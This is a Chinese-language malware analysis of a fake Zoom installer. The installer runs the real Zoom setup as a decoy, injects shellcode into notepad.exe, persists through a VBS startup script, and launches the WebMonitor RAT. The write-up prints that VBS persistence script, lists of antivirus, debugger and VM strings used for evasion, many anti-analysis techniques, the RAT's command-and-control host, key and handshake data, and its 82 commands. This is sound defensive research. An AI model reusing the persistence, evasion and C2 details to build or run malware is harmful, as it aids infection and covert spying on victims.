0x00 开始分析
样本名 | Zoom Meetings Installer |
---|---|
MD5 | c3973cd1e3ee7ab64b6ebeed5f9caf08 |
创建时间 | 1992-06-19 22:22:17(这一看就知道好假) |
VT上第一次出现的时间 | 2020-04-20 21:35:05 |
简单使用DIE查看,可以发现是一个Delphi程序。
0x01 分析恶意样本本体
锁定关键函数。恶意代码均由线程(sub_0045437C )执行。这个怎么看出的呢,一个方法就是一个个看了,因为该木马是使用数组来存放函数指针的,并且使用
call eax
来调用。然后在sub_4544CC中又创建了线程,该线程就是sub_0045437C。他将执行后面的恶意行为。
第二个方法是:可以看到IDA可以将sub_0045437C识别为StartAddress。所以我们直接在Function Name里搜StartAddress就好了(这个方法很好使,因为通常恶意样本都会创建线程,如果一开始找主函数的时候没找到,可以直接找到该线程,然后通过快捷键
x
来寻找交叉引用就能追溯到主函数)。接着会检测当前进程路径是否包含
sample
、malware
、sandbox
(分析人员通常使用的字符串)。通过创建进程快照的方式来遍历进程。
并且通过进程名来寻找进程,包括以下进程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18aswidsagent.exe
avgsvc.exe
avgui.exe
avastsvc.exe
avastui.exe
avp.exe
bdagent.exe
bdwtxag.exe
dwengine.exe
msmpeng.exe
mpcmdrun.exe
nissrv.exe
procmon.exe
procmon64.exe
procexp.exe
procexp64.exe
ollydbg.exe
windbg.exe两次通过ZwQueryInformationProcess进行反调试,检测ProcessDebugFlags、ProcessDebugObjectHandle。
通过检测beingdebuged标志位来判断进程是否处于调试状态。
加载资源
对资源进行解密。使用了RC4进行解密
初始化sbox
解密,对于RC4来说,加密函数和解密函数都是一样的。但是这里作者稍稍弄错了,就是j并没有初始化。不过无伤大雅,也是可以使用的,只是不太符合传统RC4的标准。
解密得到的内容如下:
其中解密得到的脚本内容如下:
1
2sEt LyDYPTNvrAsucNC = crEateobjeCT("Wscript.sheLL")
lyDypTNVrASUcNc.ruN """%ls""", 0, False
比较当前路径是否为安装路径
接下来将创建互斥体。该木马并没有直接调用CreateMutex函数,而是通过Hash值来找出CreateMutex的函数地址,再通过
CallWindowProcW
来调用窗口回调函数,窗口回调函数里就是CreateMutex的调用(以进程运行路径作为互斥体的名字)。接下来要通过APC注入来注入notepad.exe。
通过CreateProcessW()创建notepad.exe进程
通过VirtualAllocEx为ShellCode申请空间
通过WriteProcessMemory()将ShellCode写进去
通过QueueUserAPC()对APC队列进行插入函数指针,达到注入的目的(注入的ShellCode如数据矿口所示)。
注入成功则退出当前进程,而ShellCode继续执行恶意代码了。
0x01 分析ShellCode
接下来需要分析一下ShellCode了。由于本次注入是通过APC注入进行注入的,这不仅包括了函数,还有函数要用到的数据,所以跟以往我们写的Loader不太一样,这里我将采用同样的APC注入来实现该ShellCode的Loader。
1 |
|
接下来我们进入OD来调试该ShellCode吧!
首先通过Hash值来获取API地址(就是通过HASH算法来对INT里的函数名称进行hash,和传入的Hash进行比较,如果相同的话,再根据下标找到该函数的地址)。
打开刚才母体创建的互斥体
拷贝母体到安装目录(该目录路径刚才上面已经获得的了)
设置安装文件属性为ZoneIdentifier
打开在安装目录下的病毒本体
拼接得到以下VBS脚本,并且写入到启动目录下,实现开机启动病毒。
1
2sEt LyDYPTNvrAsucNC = crEateobjeCT("Wscript.sheLL")
lyDypTNVrASUcNc.ruN """C:\Users\<username>\AppData\Roaming\Downloads\Zoom.exe""", 0, False到此,ShellCode已经分析完毕了,其主要就是将病毒本体复制到安装目录下,然后再次启动病毒本体,并且通过vbs脚本来实现持续化。
0x03 继续分析恶意样本本体
刚才在第一章我们也分析到了,样本会检测当前进程运行路径是否为安装路径,如果不是的话,则会进行上面的一些反调试,注入等操作来实现安装和持续化。那么接下来,我们来分析,如果是的话,会怎么样。
在%Temp%目录下创建ULrS.tmp文件,并且写入一个0。
在%Temp%目录下创建ZoomInstaller,并且释放资源到该文件。
可以看到,释放出来的文件,实际上就是Zoom的安装文件。
并且使用ShellExecuteW来执行它,通过执行真正的Zoom安装包,来迷惑用户的双眼,大大增加该木马的隐匿性。
接着加载多段资源,并且合并在一起。
使用RC算法对刚才加载的资源进行解密,可以看到,解密后实际上是一个PE文件。
通过进程镂空,执行后面要的RAT。
Zoom.exe的分析就到这儿了,它的任务已经完成了,接下来就是分析真正要执行的RAT了。
0x04 分析RAT
可以看到,该RAT是一个经过UPX壳压缩的RAT。
去掉UPX壳后,根据Hash值,在VT上搜,可以看到,已经被人上传过了,该RAT是WebMonitor。
以及我们在010Editor里可以搜索得到WebMonitor字符串。
枚举当前系统服务。
并以XML格式输出。
计算出fMain的MD5
开始进行反调试!
根据刚才获取得到的服务列表,判断是否存在
VirtualBox Guest
。若存在则会弹出以下窗口。
该RAT还会检查以下虚拟机服务,这里将使用表格来列举出来:
VirtualBox Guest VMware Tools QEMU-GA 检测是否从Rar压缩包中运行出来的。
检测当前进程运行路径是否在临时目录下。
检测当前进程是否运行在远程桌面服务环境里。可以参考以下链接:
https://docs.microsoft.com/en-us/windows/win32/termserv/detecting-the-terminal-services-environment
- 通过GetSystemMetrics(0x1000)进行检测。
- 通过注册表来检测。
MSDN上的解释:
在上面MSDN的参考链接,我们可以看到MSDN上的示例代码,可以发现和该木马的代码高度一致。这里也可以看出来,该RAT的作者也是借鉴了许多网上的代码。
通过API执行效率进行反调试。可以参考forcepoint的链接:
https://www.forcepoint.com/zh-hans/blog/x-labs/locky-returned-new-anti-vm-trick
根据上面的链接,我们可以得知,在真实机器里,Windows执行GetProcessHeap和CloseHandle所需要的时间,比例应该为1:10.但是在VM下,这个比例可能会小很多,这是因为TIB/PEB都是软件虚拟化的,这会影响执行GetProcessHeap所需要的时间。
通过等待时间来反调试(主要是反沙箱),很惊喜的是,这一段攻击,也是从网上弄下来的233.
https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/TimingAttacks/timing.cpp
通过检测是否存在硬件断点来进行反调试。
检测机器存储空间是否小于512MB来判断是否运行在虚拟机里,因为通常真实的机器的存储空间都会比512MB大。
通过时间差进行反调试。由于现在很多沙箱都会对sleep函数进行修改,因此使用Sleep(0x3E8),看看是否睡眠了1s来判断是否处于沙箱中。
使用cpuid指令进行反调试。
- EAX = 1,使用cpuid指令,获取CPU功能信息,如果ecx的第31位为1,则表明有hypervisor存在,否则是在真实机器里。
EAX = 0x40000000,使用cpuid指令,获取hypervisor信息,返回12字节长度的字符串,与以下环境的字符串进行比较,看看是否相等,如果相等,则说明了处在虚拟环境中。
1
2
3
4
5
6"KVMKVMKVM\0\0\0" /* KVM */
"Microsoft Hv" /* Microsoft Hyper-V or Windows Virtual PC */
"VMwareVMware" /* VMware */
"XenVMMXenVMM" /* Xen */
"prl hyperv " /* Parallels */
"VBoxVBoxVBox" /* VirtualBox */
检查启用了哪些电源状态,由于大多数虚拟环境都不支持S1-S4电源状态,所以这里就可以进行检查来实现反调试。
通过WMI查询来获取视频控制器的名称来实现反调试。
利用VirtualAlloc的MEM_WRITE_WATCH特性来进行反调试。
分配一个缓冲区,写入一次,获得计数,看看它是不是>1。
分配一个缓冲区,把它传递到一个不会触及到这个缓冲区的API(譬如,调用无效的参数),看看计数是否>0。
分配一个缓冲区,用它来存储一些API调用的结果(该样本存放的就是IsDebuggerPresent的结果),然后看看内存是否恰好被命中一次。
分配一个可执行缓冲区,复制一个调试检查历程给它,运行检查,看看在此之后是否有任何写操作执行。
对Windows版本进行判断来反调试。
- 检查自身是否处于调试状态来反调试。
通过引发CC中断来实现反调试。因为如果没有调试器的话,程序会将异常传到异常处理程序,从而执行我们的代码。但是如果有调试器的话,则会中断下来并且将控制权交给用户。
通过检查Kernel32.dll检查是否有导出函数wine_get_unix_file_name来检查是否在wine环境。
使用GetAdaptersInfo来获取到当前计算机的MAC地址并且和传入的MAC地址进行前3个字节的比较。
而在本程序中,传入的值为
00 16 3E 00 88 02
。根据万能的互联网,我们可以得知,xen虚拟机的mac地址前3个字节为00 16 3E
。所以这里实际上是对抗xen虚拟机。在下一个反调试里也是同样查询mac地址,只不过传入的数据是
00 1C 42 00 88 02
,根据搜索,我们可以得知00 1C 42
是Parallells虚拟机常mac地址的前三个字节。
如果以下条件满足了,也会进入退出环节。
如果上面的哪一条触碰了调试规则,那么接下来将生成批处理文件做自我清理。
并且退出进程。
到这里,反调试就已经结束了,可以看到,反调试手段有很多,不过作者都是基于开源项目的,改动不大,因此读者可以根据github上该项目的代码进行分析(比看f5舒服多了)。
接下来,解密得到可疑字符串。
1
dabmaster.wm01.to、443、/recv7.php、ifxBmG0Z7、MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ、0、0、sdns.se,1.2.4.8,114.114.114.114
在函数sub_4974B7中,主要就是用于搜集信息。包括HWID、计算机名、用户名
对上面获取到的DNS:
sdns.se
,进行IP查询。查询该DNS的真实IP,得到:185.61.148.26
。访问NTP服务器进行时间校准,访问
0.se.pool.ntp.org
,然后得到的结果如下:随机生成八位数。
将这八位数和dabmaster拼接起来,得到
26739569dabmaster
。并且对这串数据进行MD5,得到:
c2e128776ed9a223e504abadf6ba91cf
。在上面得到的MD5后面追加一个
.se
。得到c2e128776ed9a223e504abadf6ba91cf.se
.对DGA算法生成的随机域名进行指定DNS服务器查询。
在函数sub_4CF534中以上面得到的字符串
MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ
加上3.00
为互斥体名字来创建互斥体。在函数sub_4A0855中拼接出keyauth。
并且发送http请求。
发送的数据为:
1
keyauth=RU00VjNHSWl6R0NyaGlHNHw4MTgyMDNkNmVmYjkzMmI4NzhlMmEyY2E5NjYyNjU2OHw0M3w2fDY=&key=MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ&uid=84ea9dfcfdef6e5c56dd4b39a15f9c04&user=dabmaster&cmp=0&enc=0
握手成功后,将会得到共享密钥:
Handshake successful! Shared Key = 28f1a8dff7ccd9bcb5cc5914003e371b(hex)
。将搜集到的信息拼接成发送的数据,并发送到服务器。
创建线程来接受黑客指令。
搜集到的指令如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82APPLICATIONS_GET
APPLICATIONS_UNINSTALL
APP_CMD
APP_INTERVAL_SET
APP_MAX_FILE_SIZE
APP_MAX_PACKET_SIZE
AUDIO_DRIVERS
AUDIO_SNAPSHOT
AUDIO_STREAM_START
AUDIO_STREAM_STOP
CLIPBOARD_CLEAR
CLIPBOARD_GET
CLIPBOARD_SET
CONNECTIONS_CLOSE
CONNECTIONS_GET
DEVICES_GET
DEVICE_STATE
DRIVES_GET
DRIVE_OFFSETS_READ
DRIVE_OPERATIONS_INFO
DRIVE_SECTORS_WRITE
FILES_GET
FILE_COPY
FILE_DELETE
FILE_DOWNLOAD
FILE_EXEC
FILE_MOVE
FILE_UPLOAD
FILE_DOWNLOAD_EXEC
HARDWARE_GET
HARDWARE_GET_PROPERTY
KEYLOG_DEL
KEYLOG_GET
KEYLOG_STREAM_START
KEYLOG_STREAM_STOP
NET_INTERFACES
PDG
PDG_EXEC
PDG_REV_PROXY_START
PDG_REV_PROXY_STOP
SSL_SCREEN_START
SSL_SCREEN_STOP
PDG_SCREEN_STREAM_START
PDG_SCREEN_STREAM_STOP
PING
PRC_GET
PRC_PRIORITY
PRC_RESUME
PRC_SUSPEND
PRC_TERMINATE
REG_ADD_KEY
REG_ADD_VALUE
REG_DELETE_KEY
REG_DELETE_VALUE
REG_EDIT_VALUE
REG_GET_KEYS
REG_GET_VALUES
REG_RENAME_VALUE
SCREEN_MONITORS
SCREEN_SNAPSHOT
SCREEN_STREAM_START
SCREEN_STREAM_STOP
SERVICES_GET
SERVICES_PAUSE
SERVICES_RESUME
SERVICES_START
SERVICES_STOP
SERVICES_UNINSTALL
SHELL_EXEC
SHELL_START
SHELL_STOP
SYS_INFO
THUMBNAIL_GET
WEBCAM_DRIVERS
WEBCAM_SNAPSHOT
WIFIAP_START
WIFIAP_STOP
WEBCAM_STREAM_START
WEBCAM_STREAM_STOP
WND_CMD
WND_GET
WND_PATCH一共82个指令!指令繁多,这里就不细分析了!
0x05 总结
到这里,该样本就基本分析结束了,该木马十分繁琐,在字符串的搜索中,我们还可以留意到这么一串内容。
经过搜索,我们可以得知,该样本在图像处理上还使用了开源项目:
在分析的过程中,我还发现,该样本的反调试功能都是基于开源项目:al-khaser的。因此可以对着源码进行分析。
0x06 参考链接
https://github.com/LordNoteworthy/al-khaser
https://github.com/ImageMagick/jpeg-turbo
https://consen.github.io/2016/09/11/Anti-VM-via-CPUID/
https://mp.weixin.qq.com/s/EiZ0CRZ5LAlhsPDtJOz8Ug